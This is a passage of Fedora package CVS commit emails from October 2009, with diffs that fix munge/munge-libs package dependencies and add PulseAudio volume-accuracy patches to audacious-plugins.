 # Was loading /etc/sysconfig/munge wrongly on reboot.
-# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 # Fixed upstream already for next release.
+# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 Patch5:         %{name}-correct-service-name.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  zlib-devel bzip2-devel openssl-devel
+Requires:       munge-libs = %{version}-%{release}
 
-Requires(post): chkconfig
-Requires(pre): shadow-utils
-Requires(preun): chkconfig, initscripts
+Requires(post):   chkconfig
+Requires(pre):    shadow-utils
+Requires(preun):  chkconfig, initscripts
 Requires(postun): initscripts
 
 
@@ -44,16 +45,16 @@ without the use of root privileges, rese
 methods.
 
 %package devel
-Summary: Development files for uid * gid authentication acrosss a host cluster
-Group: Applications/System
+Summary:        Development files for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
+Requires:       munge-libs = %{version}-%{release}
 
 %description devel
 Header files for developing using MUNGE.
 
 %package libs
-Summary: Runtime libs for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
-Group: Applications/System
+Summary:        Runtime libs for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
 
 %description libs
 Runtime libraries for using MUNGE.
@@ -167,7 +168,7 @@ exit 0
 %config(noreplace) %{_sysconfdir}/sysconfig/munge
 %config(noreplace) %{_sysconfdir}/logrotate.d/munge
 
-%doc AUTHORS BUGS ChangeLog COPYING DISCLAIMER   
+%doc AUTHORS BUGS ChangeLog DISCLAIMER   
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
@@ -175,6 +176,7 @@ exit 0
 %defattr(-,root,root,-)
 %{_libdir}/libmunge.so.2
 %{_libdir}/libmunge.so.2.0.0
+%doc COPYING
 
 %files devel
 %defattr(-,root,root,-)
@@ -198,6 +200,10 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-8
+- Requirment on munge removed from munge-libs.
+- Explicit exact requirment on munge-libs for munge and munge-devel
+  added.
 * Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
 - rhbz#530128 Move runtime libs to a new -libs package.
   ldconfig moved to new -libs package as a result.



From stevetraylen at fedoraproject.org  Wed Oct 21 20:51:51 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 20:51:51 +0000 (UTC)
Subject: rpms/munge/F-11 munge.spec,1.3,1.4
Message-ID: <20091021205151.E037911C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22542/F-11

Modified Files:
	munge.spec 
Log Message:
Fix interdependencies.



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/F-11/munge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- munge.spec	21 Oct 2009 17:04:27 -0000	1.3
+++ munge.spec	21 Oct 2009 20:51:51 -0000	1.4
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -19,16 +19,17 @@ Patch2:         runas-munge-user.patch
 Patch3:         check-key-exists.patch
 Patch4:         remove-GPL_LICENSED-cpp.patch
 # Was loading /etc/sysconfig/munge wrongly on reboot.
-# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 # Fixed upstream already for next release.
+# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 Patch5:         %{name}-correct-service-name.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  zlib-devel bzip2-devel openssl-devel
+Requires:       munge-libs = %{version}-%{release}
 
-Requires(post): chkconfig
-Requires(pre): shadow-utils
-Requires(preun): chkconfig, initscripts
+Requires(post):   chkconfig
+Requires(pre):    shadow-utils
+Requires(preun):  chkconfig, initscripts
 Requires(postun): initscripts
 
 
@@ -44,16 +45,16 @@ without the use of root privileges, rese
 methods.
 
 %package devel
-Summary: Development files for uid * gid authentication acrosss a host cluster
-Group: Applications/System
+Summary:        Development files for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
+Requires:       munge-libs = %{version}-%{release}
 
 %description devel
 Header files for developing using MUNGE.
 
 %package libs
-Summary: Runtime libs for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
-Group: Applications/System
+Summary:        Runtime libs for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
 
 %description libs
 Runtime libraries for using MUNGE.
@@ -167,7 +168,7 @@ exit 0
 %config(noreplace) %{_sysconfdir}/sysconfig/munge
 %config(noreplace) %{_sysconfdir}/logrotate.d/munge
 
-%doc AUTHORS BUGS ChangeLog COPYING DISCLAIMER   
+%doc AUTHORS BUGS ChangeLog DISCLAIMER   
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
@@ -175,6 +176,7 @@ exit 0
 %defattr(-,root,root,-)
 %{_libdir}/libmunge.so.2
 %{_libdir}/libmunge.so.2.0.0
+%doc COPYING
 
 %files devel
 %defattr(-,root,root,-)
@@ -198,6 +200,10 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-8
+- Requirment on munge removed from munge-libs.
+- Explicit exact requirment on munge-libs for munge and munge-devel
+  added.
 * Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
 - rhbz#530128 Move runtime libs to a new -libs package.
   ldconfig moved to new -libs package as a result.



From stevetraylen at fedoraproject.org  Wed Oct 21 20:51:52 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 20:51:52 +0000 (UTC)
Subject: rpms/munge/devel munge.spec,1.4,1.5
Message-ID: <20091021205152.5E85911C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22542/devel

Modified Files:
	munge.spec 
Log Message:
Fix interdependencies.



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/devel/munge.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- munge.spec	21 Oct 2009 17:04:27 -0000	1.4
+++ munge.spec	21 Oct 2009 20:51:52 -0000	1.5
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -19,16 +19,17 @@ Patch2:         runas-munge-user.patch
 Patch3:         check-key-exists.patch
 Patch4:         remove-GPL_LICENSED-cpp.patch
 # Was loading /etc/sysconfig/munge wrongly on reboot.
-# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 # Fixed upstream already for next release.
+# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 Patch5:         %{name}-correct-service-name.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  zlib-devel bzip2-devel openssl-devel
+Requires:       munge-libs = %{version}-%{release}
 
-Requires(post): chkconfig
-Requires(pre): shadow-utils
-Requires(preun): chkconfig, initscripts
+Requires(post):   chkconfig
+Requires(pre):    shadow-utils
+Requires(preun):  chkconfig, initscripts
 Requires(postun): initscripts
 
 
@@ -44,16 +45,16 @@ without the use of root privileges, rese
 methods.
 
 %package devel
-Summary: Development files for uid * gid authentication acrosss a host cluster
-Group: Applications/System
+Summary:        Development files for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
+Requires:       munge-libs = %{version}-%{release}
 
 %description devel
 Header files for developing using MUNGE.
 
 %package libs
-Summary: Runtime libs for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
-Group: Applications/System
+Summary:        Runtime libs for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
 
 %description libs
 Runtime libraries for using MUNGE.
@@ -167,7 +168,7 @@ exit 0
 %config(noreplace) %{_sysconfdir}/sysconfig/munge
 %config(noreplace) %{_sysconfdir}/logrotate.d/munge
 
-%doc AUTHORS BUGS ChangeLog COPYING DISCLAIMER   
+%doc AUTHORS BUGS ChangeLog DISCLAIMER   
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
@@ -175,6 +176,7 @@ exit 0
 %defattr(-,root,root,-)
 %{_libdir}/libmunge.so.2
 %{_libdir}/libmunge.so.2.0.0
+%doc COPYING
 
 %files devel
 %defattr(-,root,root,-)
@@ -198,6 +200,10 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-8
+- Requirment on munge removed from munge-libs.
+- Explicit exact requirment on munge-libs for munge and munge-devel
+  added.
 * Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
 - rhbz#530128 Move runtime libs to a new -libs package.
   ldconfig moved to new -libs package as a result.



From stevetraylen at fedoraproject.org  Wed Oct 21 20:51:52 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 20:51:52 +0000 (UTC)
Subject: rpms/munge/F-12 munge.spec,1.4,1.5
Message-ID: <20091021205152.2774811C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22542/F-12

Modified Files:
	munge.spec 
Log Message:
Fix interdependencies.



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/F-12/munge.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- munge.spec	21 Oct 2009 17:04:27 -0000	1.4
+++ munge.spec	21 Oct 2009 20:51:51 -0000	1.5
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -19,16 +19,17 @@ Patch2:         runas-munge-user.patch
 Patch3:         check-key-exists.patch
 Patch4:         remove-GPL_LICENSED-cpp.patch
 # Was loading /etc/sysconfig/munge wrongly on reboot.
-# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 # Fixed upstream already for next release.
+# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 Patch5:         %{name}-correct-service-name.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  zlib-devel bzip2-devel openssl-devel
+Requires:       munge-libs = %{version}-%{release}
 
-Requires(post): chkconfig
-Requires(pre): shadow-utils
-Requires(preun): chkconfig, initscripts
+Requires(post):   chkconfig
+Requires(pre):    shadow-utils
+Requires(preun):  chkconfig, initscripts
 Requires(postun): initscripts
 
 
@@ -44,16 +45,16 @@ without the use of root privileges, rese
 methods.
 
 %package devel
-Summary: Development files for uid * gid authentication acrosss a host cluster
-Group: Applications/System
+Summary:        Development files for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
+Requires:       munge-libs = %{version}-%{release}
 
 %description devel
 Header files for developing using MUNGE.
 
 %package libs
-Summary: Runtime libs for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
-Group: Applications/System
+Summary:        Runtime libs for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
 
 %description libs
 Runtime libraries for using MUNGE.
@@ -167,7 +168,7 @@ exit 0
 %config(noreplace) %{_sysconfdir}/sysconfig/munge
 %config(noreplace) %{_sysconfdir}/logrotate.d/munge
 
-%doc AUTHORS BUGS ChangeLog COPYING DISCLAIMER   
+%doc AUTHORS BUGS ChangeLog DISCLAIMER   
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
@@ -175,6 +176,7 @@ exit 0
 %defattr(-,root,root,-)
 %{_libdir}/libmunge.so.2
 %{_libdir}/libmunge.so.2.0.0
+%doc COPYING
 
 %files devel
 %defattr(-,root,root,-)
@@ -198,6 +200,10 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-8
+- Requirment on munge removed from munge-libs.
+- Explicit exact requirment on munge-libs for munge and munge-devel
+  added.
 * Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
 - rhbz#530128 Move runtime libs to a new -libs package.
   ldconfig moved to new -libs package as a result.



From mschwendt at fedoraproject.org  Wed Oct 21 20:51:56 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed, 21 Oct 2009 20:51:56 +0000 (UTC)
Subject: rpms/audacious-plugins/F-11
	audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch, NONE,
	1.1 audacious-plugins.spec, 1.40, 1.41
Message-ID: <20091021205156.88B1011C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22667

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch 
Log Message:
* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-13
- Patch pulseaudio plugin to not suffer from precision loss when
  calculating the volume level to save.


audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch:
 pulse_audio.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch ---
diff -Nur audacious-plugins-fedora-1.5.1-pulseaudio/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-1.5.1-pulseaudio-volume/src/pulse_audio/pulse_audio.c
--- audacious-plugins-fedora-1.5.1-pulseaudio/src/pulse_audio/pulse_audio.c	2009-10-21 22:41:24.333804845 +0200
+++ audacious-plugins-fedora-1.5.1-pulseaudio-volume/src/pulse_audio/pulse_audio.c	2009-10-21 22:40:05.605807471 +0200
@@ -38,6 +38,7 @@
 
 static pa_cvolume volume;
 static int volume_valid = 0;
+static int save_volume_l = 0, save_volume_r = 0;
 
 static int do_trigger = 0;
 static uint64_t written = 0;
@@ -200,8 +201,8 @@
 
     if (b) {
         if (v.channels == 2) {
-            *l = (int) ((v.values[0]*100)/PA_VOLUME_NORM);
-            *r = (int) ((v.values[1]*100)/PA_VOLUME_NORM);
+            *l = save_volume_l;
+            *r = save_volume_r;
         } else
             *l = *r = (int) ((pa_cvolume_avg(&v)*100)/PA_VOLUME_NORM);
     }
@@ -222,6 +223,8 @@
 }
 
 static void pulse_set_volume(int l, int r) {
+    save_volume_l = l;
+    save_volume_r = r;
 
     if (connected) {
         pa_threaded_mainloop_lock(mainloop);


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-11/audacious-plugins.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- audacious-plugins.spec	19 Oct 2009 14:56:49 -0000	1.40
+++ audacious-plugins.spec	21 Oct 2009 20:51:56 -0000	1.41
@@ -4,7 +4,7 @@
 
 Name:           audacious-plugins
 Version:        1.5.1
-Release:        12%{?dist}
+Release:        13%{?dist}
 Summary:        Plugins for the Audacious media player
 Group:          Applications/Multimedia
 
@@ -27,6 +27,7 @@ Patch6:         audacious-plugins-1.5.1-
 Patch7:         audacious-plugins-1.5.1-neon-reader-error-crash.patch
 Patch8:         audacious-plugins-1.5.1-sndfile-cleanup.patch
 Patch9:         audacious-plugins-1.5.1-pulseaudio-volume.patch
+Patch10:        audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch
 
 # alsa-ng plugin from 2.1 devel up to 2.2 alpha1
 Patch50: audacious-plugins-1.5.1-alsa-ng.patch
@@ -179,6 +180,7 @@ vortex compressed files.
 %patch8 -p1 -b .sndfile-cleanup
 
 %patch9 -p1 -b .pulseaudio-volume
+%patch10 -p1 -b .pulseaudio-volume-accuracy
 
 %patch50 -p1 -b .alsa-ng
 %patch51 -p1 -b .alsa-ng2
@@ -278,6 +280,10 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-13
+- Patch pulseaudio plugin to not suffer from precision loss when
+  calculating the volume level to save.
+
 * Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-12
 - Patch pulseaudio plugin to not get confused by volume values passed
   in via callback.



From mschwendt at fedoraproject.org  Wed Oct 21 20:53:09 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed, 21 Oct 2009 20:53:09 +0000 (UTC)
Subject: rpms/audacious-plugins/F-10
	audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch, NONE,
	1.1 audacious-plugins.spec, 1.38, 1.39
Message-ID: <20091021205309.1363D11C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22883

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch 
Log Message:
* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-13
- Patch pulseaudio plugin to not suffer from precision loss when
  calculating the volume level to save.


audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch:
 pulse_audio.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch ---
diff -Nur audacious-plugins-fedora-1.5.1-pulseaudio/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-1.5.1-pulseaudio-volume/src/pulse_audio/pulse_audio.c
--- audacious-plugins-fedora-1.5.1-pulseaudio/src/pulse_audio/pulse_audio.c	2009-10-21 22:41:24.333804845 +0200
+++ audacious-plugins-fedora-1.5.1-pulseaudio-volume/src/pulse_audio/pulse_audio.c	2009-10-21 22:40:05.605807471 +0200
@@ -38,6 +38,7 @@
 
 static pa_cvolume volume;
 static int volume_valid = 0;
+static int save_volume_l = 0, save_volume_r = 0;
 
 static int do_trigger = 0;
 static uint64_t written = 0;
@@ -200,8 +201,8 @@
 
     if (b) {
         if (v.channels == 2) {
-            *l = (int) ((v.values[0]*100)/PA_VOLUME_NORM);
-            *r = (int) ((v.values[1]*100)/PA_VOLUME_NORM);
+            *l = save_volume_l;
+            *r = save_volume_r;
         } else
             *l = *r = (int) ((pa_cvolume_avg(&v)*100)/PA_VOLUME_NORM);
     }
@@ -222,6 +223,8 @@
 }
 
 static void pulse_set_volume(int l, int r) {
+    save_volume_l = l;
+    save_volume_r = r;
 
     if (connected) {
         pa_threaded_mainloop_lock(mainloop);


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-10/audacious-plugins.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- audacious-plugins.spec	19 Oct 2009 16:30:26 -0000	1.38
+++ audacious-plugins.spec	21 Oct 2009 20:53:08 -0000	1.39
@@ -4,7 +4,7 @@
 
 Name:           audacious-plugins
 Version:        1.5.1
-Release:        12%{?dist}
+Release:        13%{?dist}
 Summary:        Plugins for the Audacious media player
 Group:          Applications/Multimedia
 
@@ -27,6 +27,7 @@ Patch6:         audacious-plugins-1.5.1-
 Patch7:         audacious-plugins-1.5.1-neon-reader-error-crash.patch
 Patch8:         audacious-plugins-1.5.1-sndfile-cleanup.patch
 Patch9:         audacious-plugins-1.5.1-pulseaudio-volume.patch
+Patch10:        audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch
 
 # alsa-ng plugin from 2.1 devel up to 2.2 alpha1
 Patch50: audacious-plugins-1.5.1-alsa-ng.patch
@@ -179,6 +180,7 @@ vortex compressed files.
 %patch8 -p1 -b .sndfile-cleanup
 
 %patch9 -p1 -b .pulseaudio-volume
+%patch10 -p1 -b .pulseaudio-volume-accuracy
 
 %patch50 -p1 -b .alsa-ng
 %patch51 -p1 -b .alsa-ng2
@@ -278,6 +280,10 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-13
+- Patch pulseaudio plugin to not suffer from precision loss when
+  calculating the volume level to save.
+
 * Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-12
 - Patch pulseaudio plugin to not get confused by volume values passed
   in via callback.



From mschwendt at fedoraproject.org  Wed Oct 21 20:56:58 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed, 21 Oct 2009 20:56:58 +0000 (UTC)
Subject: rpms/audacious-plugins/F-12
	audacious-plugins-2.1-pulseaudio-volume-accuracy.patch, NONE,
	1.1 audacious-plugins-2.1-pulseaudio-volume.patch, NONE,
	1.1 audacious-plugins.spec, 1.53,
	1.54 audacious-plugins-1.5.1-pulseaudio-volume.patch, 1.1, NONE
Message-ID: <20091021205658.988A711C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23973

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-2.1-pulseaudio-volume-accuracy.patch 
	audacious-plugins-2.1-pulseaudio-volume.patch 
Removed Files:
	audacious-plugins-1.5.1-pulseaudio-volume.patch 
Log Message:
* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-7
- Patch pulseaudio plugin to not suffer from precision loss when
  calculating the volume level to save.


audacious-plugins-2.1-pulseaudio-volume-accuracy.patch:
 pulse_audio.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE audacious-plugins-2.1-pulseaudio-volume-accuracy.patch ---
diff -Nur audacious-plugins-fedora-2.1-pulseaudio/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-2.1-pulseaudio-volume-accuracy/src/pulse_audio/pulse_audio.c
--- audacious-plugins-fedora-2.1-pulseaudio/src/pulse_audio/pulse_audio.c	2009-10-21 22:44:06.149809732 +0200
+++ audacious-plugins-fedora-2.1-pulseaudio-volume-accuracy/src/pulse_audio/pulse_audio.c	2009-10-21 22:45:28.048813828 +0200
@@ -38,6 +38,7 @@
 
 static pa_cvolume volume;
 static int volume_valid = 0;
+static int save_volume_l = 0, save_volume_r = 0;
 
 static int do_trigger = 0;
 static uint64_t written = 0;
@@ -197,8 +198,8 @@
 
     if (b) {
         if (v.channels == 2) {
-            *l = (int) ((v.values[0]*100)/PA_VOLUME_NORM);
-            *r = (int) ((v.values[1]*100)/PA_VOLUME_NORM);
+            *l = save_volume_l;
+            *r = save_volume_r;
         } else
             *l = *r = (int) ((pa_cvolume_avg(&v)*100)/PA_VOLUME_NORM);
     }
@@ -219,6 +220,8 @@
 }
 
 static void pulse_set_volume(int l, int r) {
+    save_volume_l = l;
+    save_volume_r = r;
 
     if (connected) {
         pa_threaded_mainloop_lock(mainloop);

audacious-plugins-2.1-pulseaudio-volume.patch:
 pulse_audio.c |   14 ++++++++++++++
 1 file changed, 14 insertions(+)

--- NEW FILE audacious-plugins-2.1-pulseaudio-volume.patch ---
There is no callback feature in Audacious < 2.2 that moves the UI's volume
slider when external volume controls are used. Hence stick to the internal
volume level and don't get confused when trying to save/restore external
volume levels.

diff -Nur audacious-plugins-fedora-2.1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-2.1-pulseaudio/src/pulse_audio/pulse_audio.c
--- audacious-plugins-fedora-2.1-orig/src/pulse_audio/pulse_audio.c	2009-07-07 00:40:36.000000000 +0200
+++ audacious-plugins-fedora-2.1-pulseaudio/src/pulse_audio/pulse_audio.c	2009-10-21 22:44:06.149809732 +0200
@@ -80,6 +80,8 @@
 }
 
 static void info_cb(struct pa_context *c, const struct pa_sink_input_info *i, int is_last, void *userdata) {
+    return;  /* we don't do anything useful with this callback */
+
     assert(c);
 
     if (!i)
@@ -709,6 +711,18 @@
         goto unlock_and_fail;
     }
 
+    pa_operation_unref(o);
+    /* set initial volume */
+    if (!(o = pa_context_set_sink_input_volume(context, pa_stream_get_index(stream), &volume, NULL, NULL))) {
+        g_warning("pa_context_set_sink_input_volume() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+    pa_operation_unref(o);
+
     do_trigger = 0;
     written = 0;
     time_offset_msec = 0;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- audacious-plugins.spec	21 Oct 2009 11:25:17 -0000	1.53
+++ audacious-plugins.spec	21 Oct 2009 20:56:58 -0000	1.54
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 6%{?dist}
+Release: 7%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -26,7 +26,8 @@ Patch1: audacious-plugins-1.5.1-timidity
 Patch2: audacious-plugins-2.0.1-xmms-skindir.patch
 Patch3: audacious-plugins-2.1-alsa-ng.patch
 Patch4: audacious-plugins-2.1-underruns.patch
-Patch5: audacious-plugins-1.5.1-pulseaudio-volume.patch
+Patch5: audacious-plugins-2.1-pulseaudio-volume.patch
+Patch6: audacious-plugins-2.1-pulseaudio-volume-accuracy.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -152,6 +153,7 @@ vortex compressed files.
 %patch3 -p1 -b .alsa-ng
 %patch4 -p1 -b .underruns
 %patch5 -p1 -b .pulseaudio-volume
+%patch6 -p1 -b .pulseaudio-volume-accuracy
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -235,6 +237,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-7
+- Patch pulseaudio plugin to not suffer from precision loss when
+  calculating the volume level to save.
+
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-6
 - Rediff the underruns patch and set buffer_time_min.
 


--- audacious-plugins-1.5.1-pulseaudio-volume.patch DELETED ---



From mschwendt at fedoraproject.org  Wed Oct 21 20:58:19 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed, 21 Oct 2009 20:58:19 +0000 (UTC)
Subject: rpms/audacious-plugins/devel
	audacious-plugins-2.1-pulseaudio-volume-accuracy.patch, NONE,
	1.1 audacious-plugins-2.1-pulseaudio-volume.patch, NONE,
	1.1 audacious-plugins.spec, 1.52,
	1.53 audacious-plugins-1.5.1-pulseaudio-volume.patch, 1.1, NONE
Message-ID: <20091021205819.5628611C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25119

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-2.1-pulseaudio-volume-accuracy.patch 
	audacious-plugins-2.1-pulseaudio-volume.patch 
Removed Files:
	audacious-plugins-1.5.1-pulseaudio-volume.patch 
Log Message:
sync with F-12

audacious-plugins-2.1-pulseaudio-volume-accuracy.patch:
 pulse_audio.c |    7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

--- NEW FILE audacious-plugins-2.1-pulseaudio-volume-accuracy.patch ---
diff -Nur audacious-plugins-fedora-2.1-pulseaudio/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-2.1-pulseaudio-volume-accuracy/src/pulse_audio/pulse_audio.c
--- audacious-plugins-fedora-2.1-pulseaudio/src/pulse_audio/pulse_audio.c	2009-10-21 22:44:06.149809732 +0200
+++ audacious-plugins-fedora-2.1-pulseaudio-volume-accuracy/src/pulse_audio/pulse_audio.c	2009-10-21 22:45:28.048813828 +0200
@@ -38,6 +38,7 @@
 
 static pa_cvolume volume;
 static int volume_valid = 0;
+static int save_volume_l = 0, save_volume_r = 0;
 
 static int do_trigger = 0;
 static uint64_t written = 0;
@@ -197,8 +198,8 @@
 
     if (b) {
         if (v.channels == 2) {
-            *l = (int) ((v.values[0]*100)/PA_VOLUME_NORM);
-            *r = (int) ((v.values[1]*100)/PA_VOLUME_NORM);
+            *l = save_volume_l;
+            *r = save_volume_r;
         } else
             *l = *r = (int) ((pa_cvolume_avg(&v)*100)/PA_VOLUME_NORM);
     }
@@ -219,6 +220,8 @@
 }
 
 static void pulse_set_volume(int l, int r) {
+    save_volume_l = l;
+    save_volume_r = r;
 
     if (connected) {
         pa_threaded_mainloop_lock(mainloop);

audacious-plugins-2.1-pulseaudio-volume.patch:
 pulse_audio.c |   14 ++++++++++++++
 1 file changed, 14 insertions(+)

--- NEW FILE audacious-plugins-2.1-pulseaudio-volume.patch ---
There is no callback feature in Audacious < 2.2 that moves the UI's volume
slider when external volume controls are used. Hence stick to the internal
volume level and don't get confused when trying to save/restore external
volume levels.

diff -Nur audacious-plugins-fedora-2.1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-fedora-2.1-pulseaudio/src/pulse_audio/pulse_audio.c
